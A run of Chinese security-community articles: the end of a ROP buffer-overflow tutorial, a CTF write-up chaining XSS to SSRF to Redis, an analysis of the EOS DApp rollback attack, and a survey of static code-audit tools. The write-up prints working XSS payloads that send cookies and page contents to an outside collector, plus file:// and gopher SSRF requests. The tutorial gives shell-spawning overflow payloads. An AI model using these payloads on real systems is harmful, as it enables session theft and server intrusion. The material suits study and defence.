return 0;
}
我们上文说了，ROP技术并不能绕过Canay保护措施，所以我们编译这个程序的时候需要关闭堆栈保护程序。我们可以利用下面的命令编译。
$ gcc hack_me_2.c -o hack_me_2 -fno-stack-protector -m32
**译者的程序分析**
我先看看代码，再翻译作者的文章。我们看到，在exploitable()函数中，设置了16字节的缓冲区，但是值得我们注意的是scanf函数没有安全的使用，这导致我们可以写入超过16字节，这就导致了缓冲区溢出的可能。我们用注意到，有个函数调用了sytem("/bin/sh")，这里我们就可以假设，如果我们可以操作函数调转，去调用grant()函数，我们就可以拿到shell了。
基本上思路就是这样的。
读取程序的内存映射，我们可以看到它的栈是只读/ 不可执行的。
**让我们尝试控制EIP**
由于scanf不执行绑定的check，因此我们可以通过覆盖函数的返回地址来指向某个已知位置来控制EIP。我会尝试指向它grant()达到getshell的目的。我们可以通过objdum工具，来获取grant()的地址。
除了利用objdump来看，当然我们还是可以用IDA查找的。
objdump命令如下
$ objdump -d ./hack_me_2 | grep grant
结果应该看起来是这样的
080484cb <grant>：
8048516：e8 b0 ff ff ff call 80484cb <grant>
接下来就是写exp，达到目的了。
$（python -c'print“A”* 28 +“ xcb x84 x04 x08”' ; cat - ）| ./hack_me_2
**这里译者补充几点**
第一:
为什么是28个字节？这个是需要我们自己去分析的，我们需要计算两者直接字节数的值，才好控制跳转，毕竟本文是基于我们了解缓冲区溢出知识后的，如果有疑问，可以留言，或者自寻百度。
第二: 从代码来看，我们可以知道原文作者的环境是基于32位的，所以这里需要了解一下小端的知识。
运行上述代码之后，我们就可以成功getshell了。
很明显，大多数程序不会为你调用shell这个很容易，我们需要修改程序让demo更贴近现实一点。
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <stdlib.h>
char *shell = "/bin/sh";
void grant() {
system("cowsay try again");
}
void exploitable() {
char buffer[16];
scanf("%s", buffer);
if(strcmp(buffer,"pwned") == 0) grant();
else puts("Nice tryn");
}
int main(){
exploitable();
return 0;
}
运行先前的exp，我们发现并没有getshell，那么我们怎么去调用sysytem(“/bin/sh”)呢？
分析，这次的程序并没有直接调用 system("/bin/sh")了，但是漏洞产生的原理和之前的一样。就不再复述了。
**调用函数约定**
当反汇编我们的代码看起来像这样的:
080484cb <grant>：
80484cb：55 push％ebp
80484cc：89 e5 mov％esp，％ebp
80484ce：83 ec 08 sub $ 0x8，％esp
80484d1：83 ec 0c sub $ 0xc，％esp
80484d4：68 e8 85 04 08 push $ 0x80485e8
80484d9：e8 b2 fe ff ff call 8048390 < system @ plt>
80484de：83 c4 10 add $ 0x10，％esp
80484e1：90 nop
80484e2：c9 leave
80484e3：c3 ret
080484e4 <exploitable>：
8048516：e8 b0 ff ff ff call 80484cb <grant>
804851b：eb 10 jmp 804852d <exploitable + 0x49>
让我们简单看看每个指令的作用。
在可利用的情况下，我们调用grant（）使用指令去做两件事情，推送下一个地址0x0804851b到堆栈，并更改EIP为0x080484cb
到grant()所在的地址
push %ebp
mov %esp,%ebp
这是函数的初始化。它为当前函数设置堆栈框架。它通过push之前保存的一堆栈帧的基指针，然后将当前基指针更改为堆栈指针（$ ebp = $
esp）。现在grant（）可以使用它的栈来存储变量和whatnot。
之后，它通过从esp中减去来为局部变量分配空间（因为堆栈增长），最后0x080485e8在调用之前将地址压入堆栈，system()它是指向将作为参数传递的字符串的指针system()，它有点像
system(*0x80485e8)
最后ret，将保存的 函数返回地址从堆栈的顶部pop出值到EIP。
**构建我们自己的堆栈帧**
我们已经看到了当函数被调用时堆栈的行为，这意味着
我们可以构造我们自己的堆栈帧
控制参数到我们跳转到的函数
确定此函数返回的位置
如果我们控制这两者之间的堆栈，我们可以控制返回函数的参数
通过ROP链接在多个函数中跳转
从objdump我们看到“/ bin / sh”的地址是 0x080485E0
$ objdump -s -j .rodata hack_me_3
hack_me_3: file format elf32-i386
Contents of section .rodata:
80485d8 03000000 01000200 2f62696e 2f736800 ......../bin/sh.
80485e8 636f7773 61792074 72792061 6761696e cowsay try again
80485f8 00257300 70776e65 64004e69 63652074 .%s.pwned.Nice t
8048608 72790a00
我们构造一个“假”的堆栈结构，然后修改函数的返回地址，这样的堆栈结构如下:
ADDRESS DATA
........
// exploitable() stack
0xbfff0004 80 48 4d 90 <- return address
// our frame
0xbfff0008 41 41 41 41 <- saved return pointer, system()
0xbfff000c 08 04 85 E0 <- "/bin/sh"
所以以，当函数exploitable()返回时，它返回system()，将看到它返回地址为41414141和参数为“/bin/sh”，这将产生一个shell，但是当它返回时会弹出41414141到EIP，它是一个有效的地址，我们可以ROP连接他们，只要他们不需要参数。所以，我们最后的利用代码是:
$（python -c'print“A”* 28 +“ x90 x83 x04 x08”+“ x41 x41 x41 x41”+“ xE0 x85 x04 x08” | ./hack_me_3
**参考文献**
<https://sploitfun.wordpress.com/>
<https://blog.zynamics.com/2010/03/12/a-gentle-introduction-to-return-oriented-programming/>
<https://crypto.stanford.edu/~blynn/rop/> | 社区文章 |
# XSS的威力：从XSS到SSRF再到Redis
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
最近有空，想到曾经刷的
[https://hackme.inndy.tw/scoreboard/
](https://hackme.inndy.tw/scoreboard/)
还有一组新题没做，于是看了一下，发现是xss->ssrf->redis的，觉得很有趣，于是做了一下，记录一下writeup
以前的web题解可以看这篇文章
[http://skysec.top/2018/01/07/hackme%E7%BD%91%E7%AB%99%E8%BE%B9%E5%81%9A%E8%BE%B9%E8%AE%B0%E5%BD%95/
](http://skysec.top/2018/01/07/hackme%E7%BD%91%E7%AB%99%E8%BE%B9%E5%81%9A%E8%BE%B9%E8%AE%B0%E5%BD%95/)
给出本次题目的链接
[https://xssrf.hackme.inndy.tw/index.php
](https://xssrf.hackme.inndy.tw/index.php)
## xssme
首先是第一关，探查了一下功能，大概4项：
* 注册
* 登录
* 发email
* 看email
### 信息搜集
上来扫了波目录
https://xssrf.hackme.inndy.tw/robots.txt
发现信息泄露
User-agent: *
Disallow: /config.php
Disallow: /you/cant/read/config.php/can/you?
Disallow: /backup.zip
下载压缩包后，发现有密码，猜想应该是要读config.php中的关键信息，才能获得压缩包密码
### xss探测
于是回到主题，题目名称既然叫xssme，那么应该就是xss攻击了
于是首先探测一下过滤
发现测试的时候会直接告诉我们过滤的关键字，这样就更容易探测了
既然`<Script`不行，那我们试试`<img>`
发现同样不行，那么既然`onerror`不行，我再试试`onload`？
<svg onload>
发现也不行，那我再变一下
<svg/onload>
发现似乎没有被过滤，于是尝试payload
<svg/onload="document.location='http://vps_ip:23333'">
发现收到信息
于是开始构造payload打一波cookie
### 收获flag
payload如下:
<svg/onload="document.location='http://ugelgr.ceye.io/?'+document.cookie">
解码后得到
PHPSESSID=9crkuhdqs9b1jkslebpieprr86; FLAG_XSSME=FLAG{Sometimes, XSS can be critical vulnerability <script>alert(1)</script>}; FLAG_2=IN_THE_REDIS
于是愉快的获得了第一个flag
FLAG{Sometimes, XSS can be critical vulnerability <script>alert(1)</script>}
并且获得提示，flag2在redis中
## xssrf leak
结合题目之前的暗示
应该是要以admin身份登入吧，既然有PHPSESSID那我们试试吧
很无奈的得到了这样的提示，必须从本地登录
起初我认为需要修改http header，但是尝试了多种都发现不行，后来灵光一闪，一拍脑袋，是不是傻
我们直接利用xss去本地访问，再将页面内容打出来就好了呀！
于是思考到之前的思路
<svg/onload>
构造出
<svg/onload="document.location='http://ugelgr.ceye.io/?'+btoa(document.body.innerHTML)">
想去打页面内容
但是发现了过滤
现在没办法了，只能思考编码绕过了，于是尝试将
document.location='http://ugelgr.ceye.io/?'+btoa(document.body.innerHTML)
进行编码
尝试payload
发现成功收到消息
解码后保存到本地html里打开
发现多了一个send request的功能，跟过去看代码
没错，是多了一个request.php
那么结合题目意思，应该是有ssrf，我想应该就是利用这里的request.php了吧
那么继续去读这个页面的html
<svg/onload="
xmlhttp=new XMLHttpRequest();
xmlhttp.onreadystatechange=function()
{
if (xmlhttp.readyState==4 && xmlhttp.status==200)
{
document.location='http://vps_ip:23333/?'+btoa(xmlhttp.responseText);
}
}
xmlhttp.open("GET","request.php",true);
xmlhttp.send();
">
经过编码后发送，得到
同样解码后发现代码
应该xss的点就是在这里了
于是尝试file协议读`/etc/passwd`
<svg/onload="
xmlhttp=new XMLHttpRequest();
xmlhttp.onreadystatechange=function()
{
if (xmlhttp.readyState==4 && xmlhttp.status==200)
{
document.location='http://vps_ip:23333/?'+btoa(xmlhttp.responseText);
}
}
xmlhttp.open("POST","request.php",true);
xmlhttp.setRequestHeader("Content-type","application/x-www-form-urlencoded");
xmlhttp.send("url=file:///etc/passwd");
">
发现成功读取了`/etc/passwd`
那么我们回想到最初的文件
User-agent: *
Disallow: /config.php
Disallow: /you/cant/read/config.php/can/you?
Disallow: /backup.zip
于是直接读config.php
<svg/onload="
xmlhttp=new XMLHttpRequest();
xmlhttp.onreadystatechange=function()
{
if (xmlhttp.readyState==4 && xmlhttp.status==200)
{
document.location='http://vps_ip:23333/?'+btoa(xmlhttp.responseText);
}
}
xmlhttp.open("POST","request.php",true);
xmlhttp.setRequestHeader("Content-type","application/x-www-form-urlencoded");
xmlhttp.send("url=file:///var/www/html/config.php");
">
cool，于是我们拿到了第二个flag
FLAG{curl -v -o flag --next flag://in-the.redis/the?port=25566&good=luck}
### xssrf redis
只剩下最后一步打redis了
这里很容易就想到了gopher未授权访问打redis
上一题提示我们redis再25566端口，于是我们尝试访问一下
<svg/onload="
xmlhttp=new XMLHttpRequest();
xmlhttp.onreadystatechange=function()
{
if (xmlhttp.readyState==4 && xmlhttp.status==200)
{
document.location='http://vps_ip:23333/?'+btoa(xmlhttp.responseText);
}
}
xmlhttp.open("POST","request.php",true);
xmlhttp.setRequestHeader("Content-type","application/x-www-form-urlencoded");
xmlhttp.send("url=gopher://127.0.0.1:25566/_info%250a_quit");
">
于是愉快的打出信息，发现果然是未授权访问
那么看看key有哪些
xmlhttp.send("url=gopher://127.0.0.1:25566/_KEYS%2520*%250a_quit");
发现了flag
然后我们尝试读取
xmlhttp.send("url=gopher://127.0.0.1:25566/_get%2520flag%250a_quit");
发现报错
发现类型错误了
那我们看看类型
xmlhttp.send("url=gopher://127.0.0.1:25566/_type%2520flag%250a_quit");
发现是个list
那我们看看长度
xmlhttp.send("url=gopher://127.0.0.1:25566/_llen%2520flag%250a_quit");
发现是53
那我们可以愉快的读取list了
xmlhttp.send("url=gopher://127.0.0.1:25566/_lrange%2520flag%25200%252053%250a_quit");
我们把它拼接起来
so cool
得到最后的flag
FLAG{Rediswithout authentication is easy to exploit}
## 后记
此题结束后，我对XSS的观点有了巨大的改变= =，实在是太强了 | 社区文章 |
**作者：yudan@慢雾安全团队
公众号：[慢雾科技](https://mp.weixin.qq.com/s/WyZ4j3O68qfN5IOvjx3MOg "慢雾科技")**
### 事件背景
2018 年 12 月 19 日，众多游戏类 DApp 遭遇交易回滚攻击，其中包括 BetDice，EOSMax，ToBet 等。按当时 18
元人民币的价格计算，损失超过 500 万人民币。期间 BetDice 通过链金术平台发出多次公告，一度造成恐慌。
与此同时，慢雾安全团队对交易所和中心化钱包给出了暂时性的方案。此刻，攻击手法依旧是一个谜团。那么，攻击手段究竟是怎样的呢？在进行攻击回顾之前，需要先了解一点技术背景。
### 技术背景
1、我们知道 EOS 采用的共识算法是 DPOS 算法，采用的是 21 个超级节点轮流出块的方式。除了 21
个超级节点外的其他全节点，并没有出块的权限。起到的作用是将收到的交易广播出去，然后超级节点将其进行打包。
说到这里，很容易看出，如果一笔交易是发给除了超级节点外的其他全节点，这笔交易会经历两个过程。首先，这笔交易先被全节点接收，然后交易再被节点广播出去进行打包。而一笔交易是需要超级节点中超过
2/3+1 的节点进行确认之后才是不可回滚的，也就是不可逆的。
这个过程大概需要 3
分钟左右，也就是说，交易发到除了超级节点外的全节点的时候，由于全节点没有打包的权利，此时此刻交易仍然处于可逆状态（这里假定节点数据库的读取模式为默认的
speculative，有关阅读模式的参考：<https://developers.eos.io/eosio-nodeos/docs/read-modes>
）。这是一个核心关键点。
2、每一个 bp(超级节点)，都可以在自己的节点的 config.ini
文件内进行黑名单的配置，在黑名单中的帐号是不能进行交易的，也就是说无论怎样，黑名单的交易都会被回滚。
黑名单配置路径：
Mac OS：
`~/Library/Application Support/eosio/nodeos/config/config.ini`
Linux:
`~/.local/share/eosio/nodeos/config/config.ini`
配置方法：
将 config.ini 文件内的 actor-blacklist 填入黑名单帐号，如下图中，将 attacker 这个帐号作为黑名单帐号。
了解了以上的知识点之后，我们就可以进行整个攻击事件的回顾了。
### 攻击回顾
跟踪攻击者的其中一个攻击帐号，发现帐号合约内只有一个 transfer 函数
同时，我们可以通过复盘这个帐号的所有交易记录发现，这个帐号只有开奖记录，而没有下注记录，看起来就好像项目方故意给这个帐号进行开奖一样。然而事实上并非如此。那为什么会出现这样的情况呢？这就需要上面的技术背景的知识了。以下是详细的攻击手法：
1. 首先：攻击者调用非黑名单合约的 transfer 函数，函数内部有一个 inline action 进行下注，from 填写的是攻击者控制的非黑名单合约帐号，to 填写的是游戏合约帐号。这时，攻击者发送交易是发向游戏合约自己的全节点服务器。使用的是黑名单帐号进行。
2. 游戏节点读取到了这笔交易，立刻进行开奖，如果中奖，将对攻击者控制的非黑名单帐号发送 EOS。
3. 在经历了一个 1，2 两个操作之后。理论上攻击者控制的非黑名单帐号是进行了余额扣除。然后进行正常的开奖逻辑。到这里之前，一切都是正常的。也许有读者会问，为什么配置了黑名单，交易还能正常发起？原因是这个黑名单生效范围是在 bp 内，普通的全节点的 config.ini 内是没有黑名单的配置的。所以攻击者依然可以发起交易。
4. 到此为止，攻击正式开始，也到了最关键的地方，由于项目方节点在收到下注交易的时候已经立马完成了开奖逻辑，而且采用的是线下开奖的模式，即下注交易和开奖交易是两笔不同的交易。但是，这两笔交易仅仅是在项目方的节点内完成，仍然是可逆的。当项目方节点向 bp 广播这两笔交易的时候，由于第一笔下注交易的发起者在 bp 节点的黑名单内，这一笔交易将被回滚，也就是打包失败，而开奖交易的发起者是项目方，不在黑名单之内，会被正常打包。因此两笔交易中的第一笔下注交易一定会被回滚，而开奖交易依旧会被打包，这也就解释了为什么只有开奖记录，而没有下注记录。因为下注记录都被回滚了。
整个过程可以参考下面的图：
### 攻击复现
本次攻击复现参考 EOS LIVE 钱包团队的文章：<https://eos.live/detail/19255>
1、环境准备
（1）本地准备两个节点，一个出块节点，一个同步节点，出块节点用于模拟真实 bp，而同步节点则用于模拟项目方，其中出块节点需要开启 history
插件，方便后续的 debug，并且把 attacker 加入节点黑名单。方便后续的 debug。打包节点则需要开启自动开奖插件,自动开奖插件配置详见：
<https://github.com/superoneio/security>
本次复现用到的代码：
<https://github.com/superoneio/security>
本地多节点配置方法官方参考：
<https://developers.eos.io/eosio-nodeos/docs/local-multi-node-testnet>
（2）三个测试帐号，分别是 tobetioadmin,tobetiologs1,attackproxy1，分别为项目方帐号，项目方 log
帐号，和攻击代理帐号，其中 tobetioadmin 部署 tobet 游戏合约，tobetiologs1 部署 logs 合约，attackproxy1
部署 attack 合约。注意除了攻击代理帐号外的其他两个帐号不要改为其他帐号，如果改为其他帐号需要对自动开奖插件进行修改，自动开奖插件是拦截
tobetioadmin 这个帐号的。
（3）附上我的双节点的配置：
其中 nodeos_main 为出块节点，nodeos_second 为同步节点。
2、启动节点
看到以上信息则代表 dice_plugin 配置成功
3、首先对正常的逻辑进行测试。
使用 attackproxy1 对 tobetioadmin 帐号进行正常的转账交易
可以看到，攻击代理合约进行了正常的转账。
4、开始攻击，使用黑名单帐号调用攻击代理合约，向项目方合约发起攻击。
（1）查询初始余额
（2）为保证攻击成功，连续向项目方发起 4 起攻击
（3）再次查询余额
（4）查询attacker帐号记录
可见，并没有 attacker 对 attackproxy1 的调用记录，最后两条记录是我测试直接使用黑名单向 tobetadmin
发起攻击的时候留下的记录。与本次测试无关。但是通过查询发现，本地记录和链上记录是相吻合的，即无下注记录。
（5）查询 attackproxy1 的帐号记录
可以看到的是，这个也与链上记录吻合，只有开奖记录，就像 tobetadmio 故意给 attackproxy1 开奖一般。
通过以上的复现及和链上记录的对比，我们可以证明上文说的攻击手法，就是黑客本次进行攻击的手法，采用的就是使用黑名单进行回滚的操作。
### 防御建议
1、针对 DApp 的防御建议
（1）节点开启 read only 模式，防止节点服务器上出现未确认的块
（2）建立开奖依赖，如订单依赖，开奖的时候判断订单是否存在，就算在节点服务器上开奖成功，由于在 bp 上下注订单被回滚，所以相应的开奖记录也会被回滚。
2、针对交易所和中心化钱包的防御建议
慢雾安全团队建议 EOS 交易所及中心化钱包在通过 RPC 接口 get_actions 查询热钱包充值记录时，应检查充值 transaction 所在的
block_num 是否小于 last_irreversible_block(最新不可逆区块)，如果 block_num 大于
last_irreversible_block 则表示该区块仍然是可逆的，存在“假充值”风险。
### 致谢
感谢 EOS LIVE 钱包团队对本地复现过程中的技术解疑和复现代码的提供。
### 参考：
节点配置参考：
<https://developers.eos.io/eosio-nodeos/docs/read-modes>
EOS LIVE 钱包团队的文章：
<https://eos.live/detail/19255>
* * * | 社区文章 |
# 从0开始聊聊自动化静态代码审计工具
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
作者：LoRexxar’@知道创宇404实验室 **
**
## 前言
自从人类发明了工具开始，人类就在不断为探索如何更方便快捷的做任何事情，在科技发展的过程中，人类不断地试错，不断地思考，于是才有了现代伟大的科技时代。在安全领域里，每个安全研究人员在研究的过程中，也同样的不断地探索着如何能够自动化的解决各个领域的安全问题。其中自动化代码审计就是安全自动化绕不过去的坎。
这一次我们就一起聊聊自动化代码审计的发展史，也顺便聊聊如何完成一个自动化静态代码审计的关键。
## 自动化代码审计
在聊自动化代码审计工具之前，首先我们必须要清楚两个概念， **漏报率** 和 **误报率** 。
* **漏报率** 是指没有发现的漏洞/Bug
* **误报率** 是指发现了错误的漏洞/Bug
在评价下面的所有自动化代码审计工具/思路/概念时，所有的评价标准都离不开这两个词，如何消除这两点或是其中之一也正是自动化代码审计发展的关键点。
我们可以简单的把自动化代码审计（这里我们讨论的是白盒）分为两类，一类是动态代码审计工具，另一类是静态代码审计工具。
## 动态代码审计的特点与局限
动态代码审计工具的原理主要是基于在 **代码运行的过程中** 进行处理并挖掘漏洞。我们一般称之为IAST（interactive Application
Security Testing）。
其中最常见的方式就是通过某种方式Hook恶意函数或是底层api并通过前端爬虫判别是否触发恶意函数来确认漏洞。
我们可以通过一个简单的流程图来理解这个过程。
在前端Fuzz的过程中，如果Hook函数被触发，并满足某种条件，那么我们认为该漏洞存在。
这类扫描工具的优势在于，通过这类工具发现的漏洞 **误报率比较低**
，且不依赖代码，一般来说，只要策略足够完善，能够触发到相应恶意函数的操作都会相应的满足某种恶意操作。而且可以跟踪动态调用也是这种方法最主要的优势之一。
但随之而来的问题也逐渐暴露出来：
(1) 前端Fuzz爬虫可以保证对正常功能的覆盖率，却很难保证对代码功能的覆盖率。
如果曾使用动态代码审计工具对大量的代码扫描，不难发现，这类工具针对漏洞的扫描结果并不会比纯黑盒的漏洞扫描工具有什么优势，其中最大的问题主要集中在功能的覆盖度上。
一般来说，你很难保证开发完成的所有代码都是为网站的功能服务的，也许是在版本迭代的过程中不断地冗余代码被遗留下来，也有可能是开发人员根本没有意识到他们写下的代码并不只是会按照预想的样子执行下去。有太多的漏洞都无法直接的从前台的功能处被发现，有些甚至可能需要满足特定的环境、特定的请求才能触发。这样一来，代码的覆盖率得不到保证，又怎么保证能发现漏洞呢？
(2) 动态代码审计对底层以及hook策略依赖较强
由于动态代码审计的漏洞判别主要依赖Hook恶意函数，那么对于不同的语言、不同的平台来说，动态代码审计往往要针对设计不同的hook方案。如果Hook的深度不够，一个深度框架可能就无法扫描了。
拿PHP举例子来说，比较成熟的Hook方案就是通过PHP插件实现，具体的实现方案可以参考。
* <https://github.com/fate0/prvd>
由于这个原因影响，一般的动态代码审计很少可以同时扫描多种语言，一般来说都是针对某一种语言。
其次，Hook的策略也需要许多不同的限制以及处理。就拿PHP的XSS来举例子，并不是说一个请求触发了echo函数就应该判别为XSS。同样的，为了不影响正常功能，并不是echo函数参数中包含`<script>`就可以算XSS漏洞。在动态代码审计的策略中，需要有更合理的前端->Hook策略判别方案，否则会出现大量的误报。
除了前面的问题以外，对环境的强依赖、对执行效率的需求、难以和业务代码结合的各种问题也确切的存在着。当动态代码审计的弊端不断被暴露出来后，从笔者的角度来看，动态代码审计存在着原理本身与问题的冲突，所以在自动化工具的发展过程中，越来越多的目光都放回了静态代码审计上(SAST).
## 静态代码审计工具的发展
静态代码审计主要是通过分析目标代码，通过纯静态的手段进行分析处理，并挖掘相应的漏洞/Bug.
与动态不同，静态代码审计工具经历了长期的发展与演变过程，下面我们就一起回顾一下（下面的每个时期主要代表的相对的发展期，并不是比较绝对的诞生前后）：
### 上古时期 – 关键字匹配
如果我问你“如果让你设计一个自动化代码审计工具，你会怎么设计？”，我相信，你一定会回答我，可以尝试通过匹配关键字。紧接着你也会迅速意识到通过关键字匹配的问题。
这里我们拿PHP做个简单的例子。
虽然我们匹配到了这个简单的漏洞，但是很快发现，事情并没有那么简单。
也许你说你可以通过简单的关键字重新匹配到这个问题。
\beval\(\$
但是可惜的是，作为安全研究员，你永远没办法知道开发人员是怎么写代码的。于是选择用关键字匹配的你面临着两种选择：
* 高覆盖性 – 宁错杀不放过
这类工具最经典的就是Seay，通过简单的关键字来匹配经可能多的目标，之后使用者可以通过人工审计的方式进一步确认。
\beval\b\(
* 高可用性 – 宁放过不错杀
这类工具最经典的是Rips免费版
\beval\b\(\$_(GET|POST)
用更多的正则来约束，用更多的规则来覆盖多种情况。这也是早期静态自动化代码审计工具普遍的实现方法。
但问题显而易见， **高覆盖性和高可用性是这种实现方法永远无法解决的硬伤，不但维护成本巨大，而且误报率和漏报率也是居高不下**
。所以被时代所淘汰也是历史的必然。
### 近代时期 – 基于AST的代码分析
有人忽略问题，也有人解决问题。关键字匹配最大的问题是在于你永远没办法保证开发人员的习惯，你也就没办法通过任何制式的匹配来确认漏洞，那么基于AST的代码审计方式就诞生了，开发人员是不同的，但编译器是相同的。
在分享这种原理之前，我们首先可以复现一下编译原理。拿PHP代码举例子：
随着PHP7的诞生，AST也作为PHP解释执行的中间层出现在了编译过程的一环。
通过词法分析和语法分析，我们可以将任意一份代码转化为AST语法树。常见的语义分析库可以参考：
* <https://github.com/nikic/PHP-Parser>
* <https://github.com/viraptor/phply>
当我们得到了一份AST语法树之后，我们就解决了前面提到的关键字匹配最大的问题，至少我们现在对于不同的代码，都有了统一的AST语法树。如何对AST语法树做分析也就成了这类工具最大的问题。
在理解如何分析AST语法树之前，我们首先要明白 **information flow、source、sink** 三个概念，
* source： 我们可以简单的称之为输入，也就是information flow的起点
* sink： 我们可以称之为输出，也就是information flow的终点
而information flow，则是指数据在source到sink之间流动的过程。
把这个概念放在PHP代码审计过程中，Source就是指用户可控的输入，比如`$_GET、$_POST`等，而Sink就是指我们要找到的敏感函数，比如`echo、eval`，如果某一个Source到Sink存在一个完整的流，那么我们就可以认为存在一个可控的漏洞，这也就是基于information
flow的代码审计原理。
在明白了基础原理的基础上，我举几个简单的例子：
在上面的分析过程中，Sink就是eval函数，source就是`$_GET`，通过逆向分析Sink的来源，我们成功找到了一条流向Sink的information
flow，也就成功发现了这个漏洞。
ps: 当然也许会有人好奇为什么选择逆向分析流而不是正向分析流，这个问题会在后续的分析过程中不断渗透，慢慢就可以明白其关键点。
在分析information flow的过程中， **明确作用域是基础中的基础.** 这也是分析information
flow的关键，我们可以一起看看一段简单的代码
如果我们很简单的通过左右值去回溯，而没有考虑到函数定义的话，我们很容易将流定义为：
这样我们就错误的把这段代码定义成了存在漏洞，但很显然并不是，而正确的分析流程应该是这样的:
在这段代码中，从主语法树的作用域跟到Get函数的作用域， **如何控制这个作用域的变动，就是基于AST语法树分析的一大难点**
，当我们在代码中不可避免的使用递归来控制作用域时，在多层递归中的统一标准也就成了分析的基础核心问题。
事实上，即便你做好了这个最简单的基础核心问题，你也会遇到层出不穷的问题。这里我举两个简单的例子
(1) 新函数封装
这是一段很经典的代码，敏感函数被封装成了新的敏感函数，参数是被二次传递的。为了解决，这样information flow的方向从逆向->正向的问题。
通过新建大作用域来控制作用域。
(2) 多重调用链
这是一段有漏洞的JS代码，人工的话很容易看出来问题。但是如果通过自动化的方式回溯参数的话就会发现整个流程中涉及到了多种流向。
这里我用红色和黄色代表了流的两种流向。要解决这个问题只能通过针对类/字典变量的特殊回溯才能解决。
如果说，前面的两个问题是可以被解决的话，还有很多问题是没办法被解决的，这里举一个简单的例子。
这是一个典型的全局过滤，人工审计可以很容易看出这里被过滤了。但是如果在自动化分析过程中，当回溯到Source为`$_GET['a']`时，已经满足了从Source到sink的information
flow。已经被识别为漏洞。一个典型的误报就出现了。
而基于AST的自动化代码审计工具也正是在与这样的问题做博弈，从PHP自动化代码审计中比较知名的Rips、Cobra再到我自己二次开发的Cobra-W.
* <https://www.ripstech.com/>
* <https://github.com/WhaleShark-Team/cobra>
* <https://github.com/LoRexxar/Kunlun-M>
都是在不同的方式方法上，优化information flow分析的结果，而最大的区别则是离不开的 **高可用性、高覆盖性** 两点核心。
* Cobra是由蘑菇街安全团队开发的侧重甲方的静态自动化代码扫描器，低漏报率是这类工具的核心，因为甲方不能承受没有发现的漏洞的后果，这也是这类工具侧重优化的关键。
在我发现没有可能完美的回溯出每一条流的过程之后，我将工具的定位放在白帽子自用上，从开始的Cobra-W到后期的KunLun-M，我都侧重在低误报率上，只有准确可靠的流我才会认可，否则我会将他标记为疑似漏洞，并在多环定制了自定义功能以及详细的log日志，以便安全研究人员在使用的过程中可以针对目标多次优化扫描。
对于基于AST的代码分析来说，最大的挑战在于 **没人能保证自己完美的处理所有的AST结构，再加上基于单向流的分析方式，无法应对100%的场景**
，这也正是这类工具面临的问题（或者说，这也就是为什么选择逆向的原因）。
### 基于IR/CFG的代码分析
如果深度了解过基于AST的代码分析原理的话，不然发现AST的许多弊端。首先AST是编译原理中IR/CFG的更上层，其ast中保存的节点更接近源代码结构。
也就是说，分析AST更接近分析代码，换句话就是说基于AST的分析得到的流，更接近脑子里对代码执行里的流程，忽略了大多数的分支、跳转、循环这类影响执行过程顺序的条件，这也是基于AST的代码分析的普遍解决方案，当然，从结果论上很难辨别忽略带来的后果。所以
**基于IR/CFG这类带有控制流的解决方案，是现在更主流的代码分析方案，但不是唯一** 。
首先我们得知道什么是IR/CFG。
* IR：是一种类似于汇编语言的线性代码，其中各个指令按照顺序执行。其中现在主流的IR是三地址码（四元组）
* CFG: （Control flow graph）控制流图，在程序中最简单的控制流单位是一个基本块，在CFG中，每一个节点代表一个基本块，每一个边代表一个可控的控制转移，整个CFG代表了整个代码的的控制流程图。
一般来说，我们需要遍历IR来生成CFG，其中需要按照一定的规则，不过不属于这里的主要内容就暂且不提。当然，你也可以用AST来生成CFG，毕竟AST是比较高的层级。
而基于CFG的代码分析思路优势在于，对于一份代码来说，你首先有了一份控制流图（或者说是执行顺序），然后才到漏洞挖掘这一步。
**比起基于AST的代码分析来说，你只需要专注于从Source到Sink的过程即可** 。
建立在控制流图的基础上，后续的分析流程与AST其实别无太大的差别，挑战的核心仍然维持在如何控制流，维持作用域，处理程序逻辑的分支过程，确认Source与Sink。
理所当然的是，既然存在基于AST的代码分析，又存在基于CFG的代码分析，自然也存在其他的种类。比如现在市场上主流的fortify，Checkmarx，Coverity包括最新的Rips都使用了自己构造的语言的某一个中间部分，比如fortify和Coverity就需要对源码编译的某一个中间语言进行分析。前段时间被阿里收购的源伞甚至实现了多种语言生成统一的IR，这样一来对于新语言的扫描支持难度就变得大大减少了。
事实上，无论是基于AST、CFG或是某个自制的中间语言，现代代码分析思路也变得清晰起来，针对统一的数据结构已经成了现代代码分析的基础。
### 未来 – QL概念的出现
QL指的是一种面向对象的查询语言，用于从关系数据库中查询数据的语言。我们常见的SQL就属于一种QL，一般用于查询存储在数据库中的数据。
而在代码分析领域，Semmle
QL是最早诞生的QL语言，他最早被应用于LGTM，并被用于Github内置的安全扫描为大众免费提供。紧接着，CodeQL也被开发出来，作为稳定的QL框架在github社区化。
* <https://securitylab.github.com/tools/codeql>
* <https://semmle.com/codeql>
那么什么是QL呢？QL又和代码分析有什么关系呢？
首先我们回顾一下基于AST、CFG这类代码分析最大的特点是什么？无论是基于哪种中间件建立的代码分析流程，都离不开3个概念，流、Source、Sink，
**这类代码分析的原理无论是正向还是逆向，都是通过在Source和Sink中寻找一条流**
。而这条流的建立围绕的是代码执行的流程，就好像编译器编译运行一样，程序总是流式运行的。这种分析的方式就是数据流分析（Data Flow）。
而QL就是把这个流的每一个环节具象化，把每个节点的操作具像成状态的变化，并且储存到数据库中。这样一来，通过构造QL语言，我们就能找到满足条件的节点，并构造成流。下面我举一个简单的例子来说：
<?php
$a = $_GET['a'];
$b = htmlspecialchars($a);
echo $b;
我们简单的把前面的流写成一个表达式
echo => $_GET.is_filterxss
这里`is_filterxss`被认为是输入`$_GET`的一个标记，在分析这类漏洞的时候，我们就可以直接用QL表达
select * where {
Source : $_GET,
Sink : echo,
is_filterxss : False,
}
我们就可以找到这个漏洞（上面的代码仅为伪代码），从这样的一个例子我们不难发现，QL其实更接近一个概念，他鼓励将信息流具象化，这样我们就可以用更通用的方式去写规则筛选。
也正是建立在这个基础上，CodeQL诞生了，它更像是一个基础平台，让你不需要在操心底层逻辑，使用AST还是CFG又或是某种平台，你可以将自动化代码分析简化约束为我们需要用怎么样的规则来找到满足某个漏洞的特征。这个概念也正是现代代码分析主流的实现思路，也就是将需求转嫁到更上层。
## 聊聊KunLun-M
